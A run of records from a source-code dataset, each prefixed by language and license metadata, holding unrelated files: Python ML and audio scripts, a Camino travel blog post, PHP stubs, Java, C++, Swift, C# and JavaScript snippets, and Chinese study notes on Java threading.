summarized, 'top-words': top_words} def lda( corpus, maintain_original = False, top_k = 3, important_words = 3, return_cluster = True, **kwargs ): """ summarize a list of strings using LDA. Parameters ---------- corpus: list maintain_original: bool, (default=False) If False, will apply malaya.text_functions.classification_textcleaning top_k: int, (default=3) number of summarized strings important_words: int, (default=3) number of important words return_cluster: bool, (default=True) if True, will cluster important_words to similar texts Returns ------- dictionary: result """ assert isinstance(corpus, list) and isinstance( corpus[0], str ), 'input must be list of strings' assert isinstance( maintain_original, bool ), 'maintain_original must be a boolean' assert isinstance(top_k, int), 'top_k must be an integer' assert isinstance( important_words, int ), 'important_words must be an integer' assert isinstance(return_cluster, bool), 'return_cluster must be a boolean' corpus = [summary_textcleaning(i) for i in corpus] corpus = ' '.join(corpus) splitted_fullstop = re.findall('(?=\S)[^.\n]+(?<=\S)', corpus) splitted_fullstop = [ classification_textcleaning(i) if not maintain_original else i for i in splitted_fullstop if len(i) ] stemmed = [sastrawi(i) for i in splitted_fullstop] tfidf = TfidfVectorizer( ngram_range = (1, 3), min_df = 2, stop_words = STOPWORDS, **kwargs ).fit(stemmed) densed_tfidf = tfidf.transform(stemmed).todense() lda = LatentDirichletAllocation(len(splitted_fullstop)).fit(densed_tfidf) vectors = lda.transform(densed_tfidf) components = lda.components_.mean(axis = 1) summary = [ ( splitted_fullstop[i], np.linalg.norm(np.dot(np.diag(components), vectors[:, b]), 2), ) for i in range(len(splitted_fullstop)) for b in range(len(vectors)) ] summary = sorted(summary, key = itemgetter(1)) summary = dict( (v[0], v) for v in sorted(summary, key = lambda summary: summary[1]) ).values() summarized = '. '.join([a for a, b in summary][len(summary) - (top_k) :]) indices = np.argsort(tfidf.idf_)[::-1] features = tfidf.get_feature_names() top_words = [features[i] for i in indices[:important_words]] if return_cluster: return { 'summary': summarized, 'top-words': top_words, 'cluster-top-words': cluster_words(top_words), } return {'summary': summarized, 'top-words': top_words}
Python
UTF-8
1,652
3.34375
3
[]
no_license
import pandas as pd from sklearn.preprocessing import LabelEncoder from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.metrics import classification_report from sklearn.neighbors import KNeighborsClassifier #Import Data df = pd.read_csv("./data/heart.csv") #Check out the dataset df.head() #Encode the categorical values in the dataframe le_Sex = LabelEncoder() le_Chest_Pain_Type = LabelEncoder() le_Resting_ECG = LabelEncoder() le_Exercise_Angina = LabelEncoder() le_ST_Slope = LabelEncoder() df["Sex"] = le_Sex.fit_transform(df["Sex"]) df["ChestPainType"] = le_Chest_Pain_Type.fit_transform(df["ChestPainType"]) df["RestingECG"] = le_Resting_ECG.fit_transform(df["RestingECG"]) df["ExerciseAngina"] = le_Exercise_Angina.fit_transform(df["ExerciseAngina"]) df["ST_Slope"] = le_ST_Slope.fit_transform(df["ST_Slope"]) #Make sure encoding worked df.head() #Split label data from feature data X = df.iloc[:,:-1].values y = df.iloc[:,11].values #Split data into training and testing data with a 70-30 split; 70% for training , 30% for testing X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.70) #Apply Feature Scaling to preprocess the data scaler = StandardScaler() scaler.fit(X_train) X_train = scaler.transform(X_train) X_test = scaler.transform(X_test) #Train the Machine Learning Model , this will be a KNN model classifier = KNeighborsClassifier(n_neighbors=5) classifier.fit(X_train,y_train) #Let's test out our model y_pred = classifier.predict(X_test) #Let's print out a summary of how well it did print(classification_report(y_test,y_pred))
Markdown
UTF-8
3,312
2.953125
3
[]
no_license
--- layout: camino2018 trip: camino2018 title: Camino Stage 12 --- # On the Camino, Day 12: San Juan de Ortega to Burgos ### 516.5 km to Santiago de Compostela Since there were about twenty people packed into one room at the *parroquial* albergue in San Juan, every time I woke up there was at least one person snoring, many times multiple. It didn't lead to a good night's sleep, and everyone must've been early risers, because the lights were on by 6. There being no breakfast service at the albergue (and no services at all in fact in San Juan at this time), we were out the door by a record-early 6:53 and began walking in the dar. We needed to bring out the headlamps since the road was deserted and had no street lamps. We followed the trail through a sketchy section through the woods, and the sun was starting to rise by the time we arrived at the first village of Ag&eacute;s, 3.6 km down the trail. <img src="/assets/images/spain2018/20180915-ages.JPG"> <p class=caption>A signpost in Ag&eacute;s reminding us how much further we have to walk</p> In Ag&eacute;s we had breakfast and coffee before we stopped for a photo. We ran into a Brazilian fellow and a Japanese fellow (*Editor's Note: Names withheld for privacy*) who had become walking partners, and we walked with them and chatted until we reached the next village of Atapuerca after another 2.5 km. It was really cold this morning, to the point that I needed to put on a jacket. It was especially cold when we reached the peak of the Matagrade, due to the wind. As such, we went quite quickly down the hillside and into the *meseta*, the endless boring flat plains region that stretches between Burgos and Le&oacute;n. We took the shorter path from the guidebook which meant we bypassed the villages of Villaval and Carde&ntilde;uela in the valley, and rejoined the Camino at Orbaneja, and continued past Burgos Airport to Casta&ntilde;ares where we stopped to have lunch. After lunch, we took the recommended alternative route and walked along the riverside into Burgos and eventually to our AirBnb for the night (*Editor's Note: Burgos, being one of the larger cities along the routes, had AirBnBs*). Unfortunately, this AirBnB was on the (European) fifth (so, North American sixth) floor of an apartment building with no elevator. We were able to use the washing machie, so we took the opportunity to machine wash our clothes. At about 4:30, we decided to head out into the old city. It was still really hot outside, so we made the quick walk to the Cathedral. Eventually, we found the visitor centre where we were able to get a stamp for our *credencial*. In the visitor centre, the French group recognized me and asked (in French, of course) how my day went. <img src="/assets/images/spain2018/20180915-burgos.JPG"> <p class=caption>The Cathedral in Burgos</p> After the Cathedral, we went and found a pharmacy to restock on moleskins for potential foot blisters and more sunscreen, then we went to a Dia supermarket to buy some dinner. <h4><div style="text-align: left; margin-bottom: -20px">Previous: <a href="/2018/09/14/camino11.html">Stage 11: Belorado to San Juan de Ortega</a></div></h4> <h4><div style="text-align: right;">Next: <a href="/2018/09/16/camino13.html">Stage 13: Burgos to Hornillos del Camino</a></div></h4>
PHP
UTF-8
597
2.59375
3
[ "Apache-2.0", "CC-BY-3.0" ]
permissive
<?php /** * Read the message body * * @phpstub * * @param resource $imap_stream * @param int $msg_number * @param int $options * * @return string Returns the body of the specified message, as a string. */ function imap_body($imap_stream, $msg_number, $options = false) { } /** * Read the message body * * @phpstub-alias-of imap_body * @phpstub * * @param resource $imap_stream * @param int $msg_number * @param int $options * * @return string Returns the body of the specified message, as a string. */ function imap_fetchtext($imap_stream, $msg_number, $options = false) { }
Python
UTF-8
3,486
2.8125
3
[ "MIT" ]
permissive
import scipy.io.wavfile as wav from python_speech_features import mfcc import numpy as np import os import pandas as pd CLASSICAL_DIR = "C:\\Users\\Manojit Paul\\Music\\Classical\\" METAL_DIR = "C:\\Users\\Manojit Paul\\Music\\Metal\\" JAZZ_DIR = "C:\\Users\\Manojit Paul\\Music\\Jazz\\" POP_DIR = "C:\\Users\\Manojit Paul\\Music\\Pop\\" PATH = "E:\\git\\python_speech_features\\covariance\\" x = [CLASSICAL_DIR, METAL_DIR, JAZZ_DIR, POP_DIR] t = 100 columns = ['Feature1', 'Feature2', 'Feature3', 'Feature4', 'Feature5', 'Feature6', 'Feature7', 'Feature8', 'Feature9', 'Feature10', 'Feature11', 'Feature12', 'Feature13'] dataset = [] genre = [] for i in x: if i == CLASSICAL_DIR: for index in range(0, t): genre.append(0) file_name = "classical.000"+str(index).zfill(2) file = file_name+".wav" (rate, signal) = wav.read(CLASSICAL_DIR+file) mfcc_feat = mfcc(signal, rate) cov = np.cov(mfcc_feat, rowvar=0) mean = np.mean(mfcc_feat, axis=0) # if not os.path.exists(PATH+file_name): # os.makedirs(PATH+file_name) pd.DataFrame(cov).to_csv(PATH+"classical"+str(index)+'.csv', index=False, header=False) dataset.append(mean) elif i == METAL_DIR: for index in range(0, t): genre.append(1) file_name = "metal.000" + str(index).zfill(2) file = file_name + ".wav" (rate, signal) = wav.read(METAL_DIR + file) mfcc_feat = mfcc(signal, rate) cov = np.cov(mfcc_feat, rowvar=0) mean = np.mean(mfcc_feat, axis=0) # if not os.path.exists(PATH+file_name): # os.makedirs(PATH+file_name) pd.DataFrame(cov).to_csv(PATH + "metal"+str(index) + '.csv', index=False, header=False) dataset.append(mean) elif i == JAZZ_DIR: for index in range(0, t): genre.append(2) file_name = "jazz.000" + str(index).zfill(2) file = file_name + ".wav" (rate, signal) = wav.read(JAZZ_DIR + file) mfcc_feat = mfcc(signal, rate) cov = np.cov(mfcc_feat, rowvar=0) mean = np.mean(mfcc_feat, axis=0) # if not os.path.exists(PATH + file_name): # os.makedirs(PATH + file_name) pd.DataFrame(cov).to_csv(PATH + "jazz"+str(index) + '.csv', index=False, header=False) dataset.append(mean) elif i == POP_DIR: for index in range(0, t): genre.append(3) file_name = "pop.000" + str(index).zfill(2) file = file_name + ".wav" (rate, signal) = wav.read(POP_DIR + file) mfcc_feat = mfcc(signal, rate) cov = np.cov(mfcc_feat, rowvar=0) mean = np.mean(mfcc_feat, axis=0) # if not os.path.exists(PATH + file_name): # os.makedirs(PATH + file_name) pd.DataFrame(cov).to_csv(PATH + "pop"+str(index) + '.csv', index=False, header=False) dataset.append(mean) dataset = pd.DataFrame(data=dataset, columns=columns) dataset['genre'] = genre dataset = dataset[['genre', 'Feature1', 'Feature2', 'Feature3', 'Feature4', 'Feature5', 'Feature6', 'Feature7', 'Feature8', 'Feature9', 'Feature10', 'Feature11', 'Feature12', 'Feature13']] dataset.to_csv("Dataset.csv", index=False) #x = numpy.loadtxt(open("cov.csv", "r"), delimiter=",", skiprows=1) #print(type(x))
Java
UTF-8
308
1.890625
2
[]
no_license
package com.mtech.image.repository; import org.springframework.data.jpa.repository.JpaRepository; import com.mtech.image.model.UserToken; public interface UserTokenRepository extends JpaRepository<UserToken, Long> { UserToken findByToken(String token); UserToken findByIpAddress(String ipAddress); }
C++
UTF-8
1,439
2.59375
3
[]
no_license
//http://lightoj.com/volume_showproblem.php?problem=1011 #include<stdio.h> #include<iostream> #include<vector> using namespace std; int cost[20][20]; int f[(1<<18) + 5][20]; int n; void print(){ for(int i=0;i<(1<<n);i++){ for(int j=1;j<=n;j++){ cout << f[i][j] << " "; } cout << endl; } } void dynamics(){ for(int husb=1;husb<=n;husb++){ for(int setN=1;setN<(1<<n);setN++){ if(__builtin_popcount(setN) == husb){ int maxN=0; for(int wife=1;wife<=n;wife++){ if((setN & (1<<(wife-1)))>0){ //kiem tra xem cai bit cua (1<<wife-1) co bang 1 int temp =f[setN-(1<<(wife-1))][husb-1]+cost[wife-1][husb-1]; if(temp>maxN){ maxN=temp; } } } f[setN][husb]=maxN; //print(); //cout <<endl; } } } } int main(){ freopen("input.txt","r",stdin); int t; cin >> t; for(int ii=0;ii<t;ii++){ cin >> n; for(int i=0;i<n;i++){ for(int j=0;j<n;j++){ cin >> cost[i][j]; } } f[0][0]=0; int maxN=0; dynamics(); //print(); cout << "Case " << ii+1 << ": " << f[(1<<n)-1][n] << endl; } return 0; }
Markdown
UTF-8
3,438
3.015625
3
[]
no_license
--- title: Java 多线程随笔 copyright: true date: 2018-03-23 22:57:55 tags: - Java - 多线程 categories: Java --- # Java多线程随笔 最近匆匆的看了一下多线程的知识,其实在我们现在的系统中,我只在一个地方用了多线程,异步刷缓存的时候使用到了。其它地方并没有使用。这个可能跟公司局限性业务有关系,毕竟大家都听过一句话,20%的人掌握着80%的财富。而我们服务的就是那20%里面的一部分。 <!--more--> ## 多线程的产生 硬件的摩尔定律已经被打破了,所以现在多核处理器下使用多线程那是大大的提高效率啊。毕竟5个人同时赚钱,跟5个人轮流赚钱那可不是差的一点半点。所以为了**合理**的利用资源,那必须的挤榨一点机器性能啊。 ## 上下文切换 多线程未必一定比单线程快,为什么?每个东西都是有正反面的。多线程其实对于计算机来说是一种cpu时间切片。像《java并发编程艺术》里面说的,你在看英文书的时候,如果在某一页遇到不知道的单词,你停下来查字典,查完字典你还得返回去继续读。这个过程中读书,查字典就是两个线程,你就是cpu,你给每个线程一些时间让他们做自己的事情。但是在这个过程中,在你从看书切换到查字典再切换到看书这个过程中,你其实还需要记住看书的位置吧,这种从一件事切换到另一件事再从另一件事切回来,总的有耗费吧?术语称之为**上下文切换**。 减少上下问切换的方式: 1. 无锁并发编程。使用hash算法进行数据id取模分段,特定的线程处理不同段的数据 2. 使用cas算法,java的atomic包,cas=compare and swap 3. 使用最少线程,避免创建不必要的线程 4. 使用协程,在单线程里面实现多任务调度,并在单线程里面维持多个任务间的切换。 ## 死锁 死锁的概念就是有两个线程A,B。线程A,B都需要a,b资源,线程A已经占有了a资源,需要b资源,线程B已经占有了b资源,需要a资源;所以A等待B,B等待A。这样就造成了死锁。这个就是那个著名的哲学家吃饭的问题,5个人,5根筷子,嗯就是这个问题。 ## 线程执行任务 1. runnable接口,不带返回值 2. Callable接口,返回Future对象 定义任务:实现runnable,重写run方法。一个线程都需要使用Thread.start()进行启动。线程的运行由线程调度器来选择,线程调度机制非确定性的。 callable接口---->实现call()---->executorService.submit()---->Future<-----访问Future的isDone()是否完成 ## 线程池 `FixedThreadPool`:一次性预先加载线程,限制线程的数量; `CachedThreadPool`:创建与所需数量相同的线程; `SingleThreadPool`:线程数量为1的fixedThreadPool; ## sleep()和wait()的区别 sleep()调用的时候不会释放锁,wait()是会阻塞当前线程同时释放锁。 ## 线程优先级 优先级别主要是给线程调度器用,如果同一优先级也是随机的。建议使用`MAX_PRIORITY`,`NORM_PRIORITY`,`MIN_PRIORITY`。 线程让步:yield(),然后相同优先级的其它线程; join(),自己会挂起,让join的线程先完成; 后台线程,在调用start方法之前设置daemon。 ## java并发包 java有个juc的并发包。要再仔细看看。
Java
UTF-8
266
2.5
2
[]
no_license
public class P03{ public static void main(String[] args){ int input = 600851475143, highest=0; for(int i=2;i<=input;i++){ if(input==1){ break; } if(num%i==0){ num/=i; i--; highest=i; } } System.out.println(highest); //6857 } }
Python
UTF-8
2,813
2.96875
3
[ "MIT" ]
permissive
"""This module includes a series of test cases to confirm the validity of tool_box.py UnitTests(unittest.TestCase) -- this class is a unit test which includes 5 different test for tool_box.py """ import unittest import pandas as pd from covid_wa import tool_box import sys sys.path.append('..') data = pd.read_csv("data/Unemployed/Unemployment.csv") plot_data = pd.read_csv("data/COVID19/COVID19-Rate and Unemployment.csv") class UnitTests(unittest.TestCase): """"This class is a unit test which includes 8 different test for tool_box.py.""" #Smoke test def test_smoke(self): """"This function is a smoke test for tool_box.py. Args: self: Instance object. Returns: bool: True for pass the test, False otherwise. """ county = "King" month = "June" text = tool_box.unemploy_text_parser(county, month, data) def test_oneshot1(self): """"This function is a smoke test for tool_box.py. Args: self: Instance object. Returns: bool: True for pass the test, False otherwise. """ county = "King" month = "June" text = tool_box.unemploy_text_parser(county, month, data) test_text = 'County Name: King County Period: June Unemployment Rate: 9.6' self.assertEqual(text, test_text) def test_oneshot2(self): """"This function is a smoke test for tool_box.py. Args: self: Instance object. Returns: bool: True for pass the test, False otherwise. """ county = "Pacific" month = "September" text = tool_box.unemploy_text_parser(county,month, data) test_text = 'County Name: Pacific County Period: September Unemployment Rate: 9.5' self.assertEqual(text, test_text) def test_edge1(self): """"This function is a smoke test for tool_box.py. Args: self: Instance object. Returns: bool: True for pass the test, False otherwise. """ with self.assertRaises(ValueError): county = "San Francisco" month = "June" text = tool_box.unemploy_text_parser(county, month, data) def test_edge2(self): """"This function is a smoke test for tool_box.py. Args: self: Instance object. Returns: bool: True for pass the test, False otherwise. """ with self.assertRaises(ValueError): county = "King" month = "November" text = tool_box.unemploy_text_parser(county, month, data) if __name__ == '__main__': unittest.main()
Python
UTF-8
966
3.84375
4
[]
no_license
Excel Column Title Problem Description Given a positive integer, return its corresponding column title as appear in an Excel sheet. For example: 1 -> A 2 -> B 3 -> C ... 26 -> Z 27 -> AA 28 -> AB Problem Constraints 1 <= A <= INTMAX Input Format First and only argument of input contains single integer A Output Format Return a string denoting the corresponding title. Example Input A = 27 Example Output "AA" Example Explanation 1 -> A, 2 -> B, 3 -> C, ... 26 -> Z, 27 -> AA, 28 -> AB class Solution: # @param A : integer # @return a strings def convertToTitle(self, A): res = [] while A > 0: if A % 26 == 0: res.append('Z') A//= 26 A = A-1 else: res.append(chr( (A%26) + 64)) A //= 26 s = "" s = s.join(res[::-1]) return s
JavaScript
UTF-8
1,509
2.6875
3
[ "MIT" ]
permissive
'use strict'; function getRank(room) { // hasHadMentionsAtSomePoint (and the equivalent for unreadItems) is used // to ensure that rooms dont jump around when mentions is updated after a // user visits a room and reads all the mentions. // hasHadMentionsAtSomePoint is not available on the server, so we have a failover. if (room.hasHadMentionsAtSomePoint || room.mentions) { return 0; } else if (room.hasHadUnreadItemsAtSomePoint || room.unreadItems) { return 1; } else { return 2; } } function timeDifference(a, b) { // lastAccessTimeNoSync is used to ensure that rooms dont jump around when // lastAccessTime is updated after a user visits a room // lastAccessTimeNoSync is not available on the server, so we have a failover. var aDate = a.lastAccessTimeNoSync || a.lastAccessTime; var bDate = b.lastAccessTimeNoSync || b.lastAccessTime; if(!aDate && !bDate) { return 0; } else if(!aDate) { // therefore bDate exists and is best return 1; } else if(!bDate) { // therefore aDate exists and is best return -1; } else { return new Date(bDate).valueOf() - new Date(aDate).valueOf(); } } exports.sort = function recentsSort(a, b) { var aRank = getRank(a); var bRank = getRank(b); if (aRank === bRank) { return timeDifference(a, b, aRank); } else { return aRank - bRank; } }; exports.filter = function recentsFilter(room) { return !room.favourite && !!(room.lastAccessTime || room.unreadItems || room.mentions); };
Swift
UTF-8
3,273
2.890625
3
[]
no_license
// // UIImage+Clip.swift // Rental // // Created by 吴述军 on 18/09/2017. // Copyright © 2017 Brant. All rights reserved. // import Foundation import UIKit extension UIImage { // 点击查看详情 // rect 对应的是图片上的像素 func clip(rect: CGRect) -> UIImage? { let subImageRef = self.cgImage?.cropping(to: rect) // let smallBounds = CGRect(x: 0, y: 0, width: subImageRef!.width, height: subImageRef!.height) // UIGraphicsBeginImageContext(smallBounds.size) // let context = UIGraphicsGetCurrentContext() // context?.draw(subImageRef!, in: smallBounds) let smallImage = UIImage(cgImage: subImageRef!) // UIGraphicsEndImageContext() return smallImage } public class func fixOrientation(ofImage image: UIImage) -> UIImage { guard image.imageOrientation != .up else { return image } var transform = CGAffineTransform.identity switch image.imageOrientation { case .down, .downMirrored: transform = transform.translatedBy(x: image.size.width, y: image.size.height) transform = transform.rotated(by: CGFloat.pi) break case .left, .leftMirrored: transform = transform.translatedBy(x: image.size.width, y: 0) transform = transform.rotated(by: CGFloat.pi/2) break case .right, .rightMirrored: transform = transform.translatedBy(x: 0, y: image.size.height) transform = transform.rotated(by: -CGFloat.pi/2) break default: break } switch image.imageOrientation { case .upMirrored, .downMirrored: transform = transform.translatedBy(x: image.size.width, y: 0) transform = transform.scaledBy(x: -1, y: 1) break case .leftMirrored, .rightMirrored: transform = transform.translatedBy(x: image.size.height, y: 0) transform = transform.scaledBy(x: -1, y: 1) break default: break } guard let cgImage = image.cgImage else { return image } let colorSpace = CGColorSpaceCreateDeviceRGB() let bitmapInfo = CGBitmapInfo(rawValue: CGImageAlphaInfo.premultipliedLast.rawValue) guard let context = CGContext(data: nil, width: Int(image.size.width), height: Int(image.size.height), bitsPerComponent: Int(cgImage.bitsPerComponent), bytesPerRow: 0, space: colorSpace, bitmapInfo: bitmapInfo.rawValue) else { return image } context.concatenate(transform) switch image.imageOrientation { case .left, .leftMirrored, .right, .rightMirrored: context.draw(cgImage, in: CGRect(x: 0, y: 0, width: image.size.height, height: image.size.width)) break default: context.draw(cgImage, in: CGRect(x: 0, y: 0, width: image.size.width, height: image.size.height)) break } if let cgImg = context.makeImage() { return UIImage(cgImage: cgImg) } return image } }
PHP
UTF-8
2,417
2.5625
3
[ "BSD-3-Clause" ]
permissive
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace yii\web; use Yii; /** * View represents a view object in the MVC pattern. * * View provides a set of methods (e.g. [[render()]]) for rendering purpose. * * View is configured as an application component in [[\yii\base\Application]] by default. * You can access that instance via `Yii::$app->view`. * * You can modify its configuration by adding an array to your application config under `components` * as it is shown in the following example: * * ```php * 'view' => [ * 'theme' => 'app\themes\MyTheme', * 'renderers' => [ * // you may add Smarty or Twig renderer here * ] * // ... * ] * ``` * * For more details and usage information on View, see the [guide article on views](guide:structure-views). * * @author Qiang Xue <qiang.xue@gmail.com> * @since 2.0 */ class View extends \yii\base\View { /** * @var string the page title */ public $title; /** * Renders a view in response to an AJAX request. * * This method is similar to [[render()]] except that it will surround the view being rendered * with the calls of [[beginPage()]], [[head()]], [[beginBody()]], [[endBody()]] and [[endPage()]]. * By doing so, the method is able to inject into the rendering result with JS/CSS scripts and files * that are registered with the view. * * @param string $view the view name. Please refer to [[render()]] on how to specify this parameter. * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. * @param object $context the context that the view should use for rendering the view. If null, * existing [[context]] will be used. * @return string the rendering result * @see render() */ public function renderAjax($view, $params = [], $context = null) { $viewFile = $this->findViewFile($view, $context); ob_start(); ob_implicit_flush(false); $this->beginPage(); echo $this->renderFile($viewFile, $params, $context); $this->endPage(true); return ob_get_clean(); } /** * Clears up the registered meta tags, link tags, css/js scripts and files. */ public function clear() { } }
Java
UTF-8
4,036
3.3125
3
[]
no_license
package mondoFantastico; public class Main { public static void main (String[] args) { Character[] characters = new Character[5]; String[] namesArray = {"Aron", "Lurtz", "Tunk", "Caio", "Boris", "Xi"}; String[] clanNamesArray = {"Calister", "Xilint", "Arrows", "della Bernarda", "Scarlett", "Barril"}; characters[0] = new Human(namesArray[(int) (Math.round(Math.random()*5))], clanNamesArray[(int) (Math.round(Math.random()*5))], 0, 0); characters[1] = new Human(namesArray[(int) (Math.round(Math.random()*5))], clanNamesArray[(int) (Math.round(Math.random()*5))], 0, 0); characters[2] = new Ogre(namesArray[(int) (Math.round(Math.random()*5))], clanNamesArray[(int) (Math.round(Math.random()*5))], 0, 0); characters[3] = new Ogre(namesArray[(int) (Math.round(Math.random()*5))], clanNamesArray[(int) (Math.round(Math.random()*5))], 0, 0); characters[4] = new Human(namesArray[(int) (Math.round(Math.random()*5))], clanNamesArray[(int) (Math.round(Math.random()*5))], 0, 0); System.out.println("The whole group of chracters is composed by the following characters:"); for(Character character : characters) { if (character instanceof Human) { System.out.println("-This is a Human"); Human h =(Human)character; System.out.println(h.getFullNameAndStats()); } if (character instanceof Ogre) { System.out.println("-This is a Ogre"); Ogre o =(Ogre)character; System.out.println(o.getFullNameAndStats()); } } int[] offenderAndDefencerArray = coupleDifferentIndexDices(5); System.out.println("-----"); System.out.println("-----"); System.out.println("The battle starts and the characters involved are:"); int roundNumber = 1; while((characters[offenderAndDefencerArray[0]].getLifePoints() > 0) && (characters[offenderAndDefencerArray[1]].getLifePoints() > 0)) { if (Character.dice(2) == 1) { System.out.println("-This is the round number " + roundNumber); int damage1 = characters[offenderAndDefencerArray[0]].fight(Character.dice(6), characters[offenderAndDefencerArray[1]].getArmorClass(), characters[offenderAndDefencerArray[0]], characters[offenderAndDefencerArray[1]]); characters[offenderAndDefencerArray[1]].lifePoints = characters[offenderAndDefencerArray[1]].lifePoints - damage1; if(characters[offenderAndDefencerArray[1]].getLifePoints() < 0) { characters[offenderAndDefencerArray[1]].lifePoints = 0; } roundNumber++; System.out.println("-----"); } if (Character.dice(2) == 2) { System.out.println("-This is the round number " + roundNumber); int damage2 = characters[offenderAndDefencerArray[1]].fight(Character.dice(6), characters[offenderAndDefencerArray[0]].getArmorClass(), characters[offenderAndDefencerArray[1]], characters[offenderAndDefencerArray[0]]); characters[offenderAndDefencerArray[0]].lifePoints = characters[offenderAndDefencerArray[0]].lifePoints - damage2; if(characters[offenderAndDefencerArray[0]].getLifePoints() < 0) { characters[offenderAndDefencerArray[0]].lifePoints = 0; } roundNumber++; System.out.println("-----"); } } if (characters[offenderAndDefencerArray[0]].getLifePoints() == 0) { System.out.println(characters[offenderAndDefencerArray[0]].getFullName() + " is dead and " + characters[offenderAndDefencerArray[1]].getFullName() + " is still alive."); } if (characters[offenderAndDefencerArray[1]].getLifePoints() == 0) { System.out.println(characters[offenderAndDefencerArray[1]].getFullName() + " is dead and " + characters[offenderAndDefencerArray[0]].getFullName() + " is still alive."); } } public static int[] coupleDifferentIndexDices(int faces) { int resultFirst = Character.dice(faces) - 1; int resultSecond = Character.dice(faces) - 1; while (resultFirst == resultSecond) { resultSecond = Character.dice(faces) - 1; } int[] resultArray = {resultFirst, resultSecond}; return resultArray; } }
Java
GB18030
1,009
3.5
4
[]
no_license
---------------------------- ȶ | ---------------------------- # ͨ:Ƚȳ, # ȶ * ˳˳޹ * ȼ # ײʹöʵ ---------------------------- ʵ | ---------------------------- /** * * ȶ * @author KevinBlandy * * @param <E> */ public class PriorityQueue<E extends Comparable<E>> { private MaxHeap<E> maxHeap; public PriorityQueue() { this.maxHeap = new MaxHeap<>(); } public int size() { return this.maxHeap.size(); } public boolean empty() { return this.maxHeap.empty(); } /** * 鿴Ԫ */ public E getFront() { return this.maxHeap.findMax(); } /** * * ɵͲԼά */ public void enqueue(E e) { this.maxHeap.add(e); } /** * * ɵͲάԼĶ */ public E dequeue() { return this.maxHeap.extractMax(); } }
Markdown
UTF-8
729
2.734375
3
[]
no_license
# css-layout-example 收集实用的css小技巧 ##01_arrow-box 使用flex布局实现底部箭头的弹出窗口。 #### 参考资料 * [一个完整的Flexbox指南](http://www.w3cplus.com/css3/a-guide-to-flexbox-new.html) ## 02_webapp-sprites-rem 使用rem实现webapp的背景图片的自适应。 #### 参考资料 * [从网易与淘宝的font-size思考前端设计稿与工作流](http://www.codeceo.com/article/font-size-web-design.html) * [移动端web app自适应布局探索与总结](http://segmentfault.com/a/1190000003931773) ## 03_flex-layout Flex布局的兼容性写法。 #### 参考资料 * [Flex布局新旧混合写法详解(兼容微信)](https://segmentfault.com/a/1190000003978624#articleHeader8)
JavaScript
UTF-8
3,104
2.65625
3
[]
no_license
exports.validateUser = (userSignInInfo, allUsers) => { var availableUser = false; var passwordiÍnDB = ''; var validateChecker = { users: [], success: false, message:'', username:'' } for (let user of allUsers) { if (userSignInInfo.username === user.username) { passwordiÍnDB = user.password; availableUser = true; break; } } if (availableUser) { if (userSignInInfo.password === passwordiÍnDB) { validateChecker.message = 'user is available' var contactList = []; var SingleUser = { name : "" }; for (let user of allUsers) { if (user.username === userSignInInfo.username) { validateChecker.name = user.name; continue; } SingleUser.username = user.username; validateChecker.users.push(SingleUser); } validateChecker.message = 'Welcome again' //validateChecker.respond.push({success : true}); validateChecker.success = true } else { validateChecker.message = 'password doesnt match' } } else { validateChecker.message = 'user is not regitered' } return validateChecker; } exports.validateTeacher = (loginInfo, allTeachers) => { var availableUser = false; var passwordiÍnDB = ''; var validateChecker = { users: [], success: '', message:'', username:'' } for (let user of allTeachers) { //console.log(loginInfo.username + loginInfo.password +' __________' + user.username) if (loginInfo.username === user.username) { passwordiÍnDB = user.password; availableUser = true; // console.log(loginInfo.username + loginInfo.password +' __________' + user.username) //userSignInInfo.password = user.password; // userSignInInfo.username = user.username; break; } } if (availableUser) { if (loginInfo.password === passwordiÍnDB) { validateChecker.message = 'user is available' var contactList = []; var SingleUser = { name : "" }; for (let user of allTeachers) { if (user.username === loginInfo.username) { validateChecker.name = user.name; continue; } SingleUser.username = user.username; validateChecker.users.push(SingleUser); } validateChecker.message = 'Welcome again' //validateChecker.respond.push({success : true}); validateChecker.success = true } else { validateChecker.message = 'password doesnt match' } } else { validateChecker.message = 'user is not regitered' } return validateChecker; }
C#
UTF-8
2,630
3.203125
3
[ "MIT" ]
permissive
using System.Collections.Generic; using System.Linq; using Xunit; namespace Demo.LearnByDoing.Tests.Algorithms { /// <summary> /// Z-Algorithm by Tusha Roy /// https://www.youtube.com/watch?v=CpZh4eF8QBw&list=RDCpZh4eF8QBw&start_radio=1 /// /// I understand the concept but haven't come up with the implementation myself, yet. /// </summary> public class ZAlgorithmTest { [Theory] [MemberData(nameof(GetSamples))] public void TestSamples(int[] expected, string input) { var actual = BuildZArray(input); Assert.True(expected.SequenceEqual(actual)); } private int[] BuildZArray(string input) { var z = new int[input.Length]; var left = 0; var right = 0; for (int k = 1; k < input.Length; k++) { if (k > right) { left = k; right = k; while (right < input.Length && input[right] == input[right - left]) { right++; } z[k] = right - left; right--; } else { // we are operating inside box var k1 = k - left; // if value does not stretch till right bound then just copy it if (z[k1] < right - k + 1) { z[k] = z[k1]; } else { left = k; while (right < input.Length && input[right] == input[right - left]) { right++; } z[k] = right - left; right--; } } } return z; } /// <summary> /// Samples from the video. /// </summary> /// <returns></returns> public static IEnumerable<object[]> GetSamples() { yield return new object[] { new[] { 0, 0, 1, 0, 3, 0, 2, 0 }, "abaxabab" }; yield return new object[] { new[] { 0, 1, 0, 0, 2, 1, 0, 3, 1, 0 }, "aabxaayaab" }; yield return new object[] { new[] { 0, 0, 0, 0, 0, 3, 0, 0, 2, 0, 0, 3, 0, 0 }, "abc$xabcabzabc" }; yield return new object[] { new[] { 0, 1, 0, 0, 4, 1, 0, 0, 0, 8, 1, 0, 0, 5, 1, 0, 0, 1, 0 }, "aabxaabxcaabxaabxay" }; } } }
Java
UTF-8
1,286
2.375
2
[]
no_license
